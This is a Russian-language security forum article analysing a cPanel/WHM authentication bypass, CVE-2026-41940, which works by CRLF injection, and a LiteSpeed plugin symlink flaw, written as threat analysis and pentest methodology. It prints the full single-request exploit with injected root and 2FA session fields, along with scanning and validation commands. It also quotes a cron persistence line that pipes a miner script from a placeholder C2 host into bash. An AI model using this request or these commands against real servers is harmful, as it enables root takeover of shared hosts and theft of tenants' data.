Статья cPanel уязвимость как supply chain атака: от CRLF-инъекции до массового криптомайнинга

Сломанный ключ от серверной стойки на чёрном антистатическом коврике. Линия разлома светится красным, внутри полого стержня видны миниатюрные иконки хостинг-аккаунтов.


В конце февраля 2026-го хостинг-провайдеры заметили странное: root-сессии WHM появлялись без ввода пароля. Два месяца кто-то тихо забирал серверы - пока в апреле Namecheap, HostGator и KnownHost не заблокировали доступ к админкам cPanel для всех клиентов разом. CISA добавила cPanel уязвимость в KEV-каталог 30 апреля с дедлайном на патч в три дня и пометкой "автоматизируемая". Такое сочетание означает одно: эксплойт работает без оператора, массово и прямо сейчас.

Бизнес-логика атаки проста, и от этого страшнее: один WHM-сервер на shared hosting - это сотни сайтов, их базы, учётки, DNS-записи и вычислительные мощности для криптомайнинга. По данным Mandiant M-Trends 2025, эксплойты - 38% всех векторов initial access. IBM X-Force фиксирует: 70% атак затрагивают критическую инфраструктуру. Хостинг-панели оказались на пересечении обоих трендов.

Анатомия cPanel уязвимости CVE-2026-41940: как CRLF-инъекция даёт root на WHM​

1784487060122.webp

CVE-2026-41940 - обход аутентификации (CWE-306, Missing Authentication for Critical Function), активно эксплуатируемая в дикой среде (CISA KEV), CVSS 9.3 по шкале 4.0. Затрагивает все версии cPanel/WHM начиная с 11.40, включая DNSOnly и WP Squared. EPSS-скор 0.981 (Top 1%) - практически гарантированная эксплуатация в 30-дневном окне. Подробнее - в нашем статье о атаки на цепочку поставок.

Уязвимость хостинг-панели сводится к двум независимым проблемам в коде, которые по отдельности не были бы критичными. Вместе - root за один запрос.

Недостаточная санитизация ввода в демоне cpsrvd​

По NVD - authentication bypass в login flow (CWE-306). Детали реализации ниже основаны на анализе публичных PoC-эксплойтов и требуют подтверждения из официального advisory WebPros.

По данным публичных PoC, включая EDB-52574 (nu11secur1ty, май 2026), демон cpsrvd частично чистит ввод в поле пароля: удаляет нулевые символы (\0), но пропускает \r\n (CRLF). Этого хватает, чтобы инъектировать произвольные данные в сессионные файлы.

Сессии cPanel хранятся (предположительно) в двух местах:
  • /var/cpanel/sessions/raw/ - "сырые" сессии в формате key=value, разделитель - символ новой строки
  • /var/cpanel/sessions/cache/ - кешированные сессии в JSON
Согласно реконструкции из PoC, в исходниках есть функция filter_sessiondata(), которая чистит ввод от переносов строк. Но она не применяется к паролю при авторизации через заголовок Authorization. Итог: атакующий одним HTTP-запросом записывает в сессионный файл произвольные переменные, и система считает аутентификацию пройденной.

Предполагаемый механизм эксплуатации (по данным публичных PoC): компрометация хостинг-провайдера за один запрос​

Для обхода аутентификации атакующий шлёт запрос на порт 2087 (WHM) с CRLF-последовательностями (%0d%0a) в поле пароля заголовка Authorization. После URL-декодирования \r\n превращаются в разделители строк в сессионном файле:
HTTP:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Authorization: WHM root:x%0d%0asuccessful_internal_auth_with_timestamp=9999999999%0d%0auser=root%0d%0atfa_verified=1%0d%0ahasroot=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Сервер создаёт сессионный файл в /var/cpanel/sessions/raw/ с таким содержимым:
Код:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
root:x - формально корректная пара логин:пароль, где пароль x никогда не проверяется. successful_internal_auth_with_timestamp с timestamp далёкого будущего говорит системе, что аутентификация пройдена (например, через SSO). tfa_verified обходит двухфакторку, hasroot присваивает root-привилегии. По задумке разработчиков пароль должен был пройти hex-кодирование перед записью, но CRLF-последовательности инъектируются до этого этапа.

В ответе сервер возвращает валидный session token. С этого момента атакующий - root на сервере со всеми аккаунтами арендаторов. Один curl - и готово.

На GitHub доступно минимум пять PoC-репозиториев, самый популярный - aquace/CVE-2026-41940-PoC (192 звезды на июль 2026). Nuclei-шаблон CVE-2026-41940.yaml включён в официальный репозиторий projectdiscovery/nuclei-templates.

Kill chain cPanel supply chain атаки: от разведки до массовой эксплуатации CVE хостинг-сервера​

1784487128074.webp

Разведка: обнаружение уязвимых WHM-эндпоинтов​

WHM по умолчанию слушает на порту 2087 (HTTPS), cPanel - на 2083. В отличие от большинства админок, WHM часто торчит в интернет - хостинг-провайдеры намеренно открывают доступ reseller-клиентам. Обнаружить просто: nmap -sV -p 2087,2083 --script http-title <range> - WHM отдаёт характерный баннер cpsrvd с версией панели. Через Shodan/Censys по тому же баннеру находятся тысячи серверов. Дальше - проверка версии на попадание в уязвимый диапазон: всё после 11.40 до патча от 28 апреля 2026 года.

Initial Access: эксплуатация cPanel RCE через CRLF-инъекцию​

Эксплуатация - один HTTP-запрос. Тот самый, что описан выше. CISA SSVC классифицирует уязвимость как автоматизируемую (Automatable: yes), и практика это подтверждает: curl с нужным заголовком - в ответе session token. Полученный token даёт полный root-доступ к WHM, что эквивалентно root shell на сервере: WHM позволяет выполнять произвольные команды через встроенные API-вызовы, управлять аккаунтами, менять DNS, ставить софт.

Lateral movement: массовая эксплуатация CVE через shared hosting​

Здесь начинается supply chain эффект. WHM с root-доступом открывает:
  • Полный список аккаунтов через WHM API listaccts - от десятков до тысяч аккаунтов в зависимости от провайдера
  • Файловую систему каждого аккаунта: wp-config.php, .env, конфиги с паролями от БД
  • Создание новых аккаунтов, смену паролей, установку SSH-ключей через API
  • Управление DNS-зонами всех доменов - перенаправление трафика, подмену MX для перехвата почты
Shared hosting компрометация превращает одну уязвимость хостинг-панели в массовое заражение сайтов: сотни сайтов, их базы и пользовательские данные - всё доступно за один шаг после получения root.

Пейлоад: криптомайнинг через хостинг или ransomware через cPanel​

На практике атакующие используют скомпрометированные серверы двумя способами.

Криптоджекинг (T1496, Resource Hijacking). Развёртывание XMRig - самый частый сценарий. По данным Akamai, группировка RedTail использует приватные майнинг-пулы вместо публичных для лучшего контроля операций - тактика, характерная для продвинутых crypto-jacking операций. Конфигурация содержит алгоритм RandomX и опцию hugepages для оптимизации. Хостинг-серверы идеальны для криптоджекинга: стабильный uptime, серверное железо, а за электричество платит провайдер.

Ransomware. Реже, но больнее. По данным Verizon DBIR 2025, число ransomware-инцидентов в сегменте SMB выросло на 18% год к году, медианный выкуп - $46 000. Атакующий шифрует файлы всех аккаунтов и требует выкуп от провайдера, который не может позволить простой сотен клиентов одновременно.

Персистенция и anti-forensics​

Типичные post-exploitation артефакты на скомпрометированных cPanel-серверах:
  • Crontab-записи с периодичностью 1-5 минут: curl -s http://[C2]/xmr.sh | bash - удалишь майнер, cron его вернёт
  • Модификация .htaccess с auto_prepend_file, указывающим на PHP-загрузчик - переживает удаление основного бэкдора
  • SSH-ключи в authorized_keys root и каждого пользователя
  • Вебшеллы в /tmp, /dev/shm или dot-файлах каждого аккаунта
  • Модификация systemd-юнитов на серверах с systemd - самый устойчивый метод, чистить тяжелее всего

CVE-2026-54420: symlink-атака через LiteSpeed cPanel Plugin как второй вектор​

1784487193533.webp

В июне 2026 CISA добавила в KEV-каталог вторую уязвимость - CVE-2026-54420 (CVSS 8.5 HIGH, CWE-61 - UNIX Symbolic Link Following), тоже активно эксплуатируемую в дикой среде. Затрагивает LiteSpeed cPanel Plugin до 2.4.8 (LiteSpeed WHM Plugin до 5.3.2.0) на серверах с CloudLinux/CageFS.

В отличие от CVE-2026-41940, здесь нужен начальный доступ: FTP-аккаунт или вебшелл (PR:L). Для shared hosting это типичная точка входа - скомпрометированный WordPress одного арендатора даёт вебшелл, через который создаётся символьная ссылка на файлы соседних аккаунтов в обход изоляции CageFS. CVSS-вектор содержит AC:H - эксплуатация требует специфических условий (race condition при обработке symlink), чем и объясняется низкий EPSS 0.013 несмотря на статус KEV.

КритерийCVE-2026-41940 (CRLF)CVE-2026-54420 (Symlink)
CVSS9.3 CRITICAL (v4.0)8.5 HIGH (v3.1)
ПредусловияНет (неаутентифицированный)FTP или вебшелл на сервере
АвтоматизируемостьДа (CISA SSVC)Нет
ИмпактRoot на весь серверЧтение/модификация файлов соседей
Целевая средаВсе cPanel после 11.40LiteSpeed + CloudLinux/CageFS
EPSS (30 дней)0.981 (Top 1%)0.013

Обе уязвимости работают в связке: CVE-2026-54420 для lateral movement после получения доступа к одному аккаунту, CVE-2026-41940 - прямой initial access к root. На пентесте используется тот вектор, который доступен первым.

Web hosting pentest: разведка и эксплуатация cPanel уязвимостей​

Требования к окружению​

  • ОС: Kali Linux 2024+ или дистрибутив с Go 1.21+ и Python 3.10+
  • RAM: минимум 4 ГБ (Nuclei + Burp Suite), рекомендуется 8 ГБ
  • Инструменты: Nuclei (актуализация шаблонов: nuclei -update-templates), Burp Suite Community/Pro, curl, nmap
  • Сеть: доступ к портам 2087 (WHM), 2083 (cPanel) целевого сервера; online-режим для загрузки шаблонов

Методология​

  1. Обнаружение. Сканирование диапазона: nmap -sV -p 2087,2083 --script http-title <range>. WHM отдаёт баннер cpsrvd с версией.
  2. Проверка. Запуск Nuclei: nuclei -t http/cves/2026/CVE-2026-41940.yaml -u https://target:2087. Шаблон детектирует уязвимость по характерному ответу сервера (точная логика matchers не публиковалась).
  3. Валидация. При получении token - проверка доступа к WHM API: curl -k -b "cpsession=$TOKEN" "https://target:2087/cpsess$TOKEN/json-api/listaccts?api.version=1". Список аккаунтов в ответе = уязвимость подтверждена.
  4. Отчёт. Фиксация scope импакта: количество аккаунтов, типы данных (БД, email, DNS), вычислительные ресурсы сервера.

Ограничения техники​

  • Патч. Закрыта 28 апреля 2026. Серверы с автообновлением (стандарт cPanel) получили патч за сутки.
  • WAF. ModSecurity с OWASP CRS может блокировать CRLF в заголовках. На практике WAF на уровне WHM встречается редко - обычно он настроен только для пользовательских сайтов.
  • IP-фильтрация. Некоторые провайдеры ограничивают порт 2087 по IP-листам - нужен доступ к разрешённой сети.
  • Scope. Затрагивает только cPanel/WHM после 11.40. Plesk, DirectAdmin, ISPmanager не подвержены.
  • Сценарий. Применимо при внешнем пентесте хостинг-инфраструктуры. Для внутреннего - релевантно, если организация использует self-hosted cPanel.

Чеклист защиты хостинг-инфраструктуры от массового заражения сайтов​

Готовый чеклист для передачи администратору:
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Две CVE в KEV-каталоге CISA за два месяца (CVE-2026-41940 и CVE-2026-54420) подтверждают тренд: хостинг-панели стали полноценным вектором веб-хостинг атак цепочки поставок. По данным Kaspersky, supply chain атака на Polyfill.io затронула около 385 000 сайтов - примерно 4% всех сайтов в интернете. cPanel обслуживает значительно больше инфраструктуры, и масштаб потенциального импакта соответствующий.

На моих проектах CVE-2026-41940 стала одной из самых "вкусных" уязвимостей по соотношению "сложность эксплуатации к масштабу импакта": один HTTP-запрос - root на сервере с сотнями аккаунтов. Но проблема глубже конкретной CVE. Архитектура shared hosting построена на предположении, что панель управления - доверенный компонент. CageFS, mod_lsapi, suPHP - всё это работает при условии, что root не скомпрометирован. А CVE-2026-41940 даёт root любому, кто умеет собрать HTTP-запрос с %0d%0a.

Рынок хостинг-панелей сконцентрирован: cPanel, Plesk и DirectAdmin покрывают подавляющее большинство серверов. Ожидаю, что в ближайший год мы увидим аналогичные CVE в Plesk или DirectAdmin. Если работаете с хостинг-инфраструктурой - относитесь к панели управления как к такому же критическому периметровому компоненту, как VPN-шлюз или firewall. Для атакующего разницы между ними уже нет.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab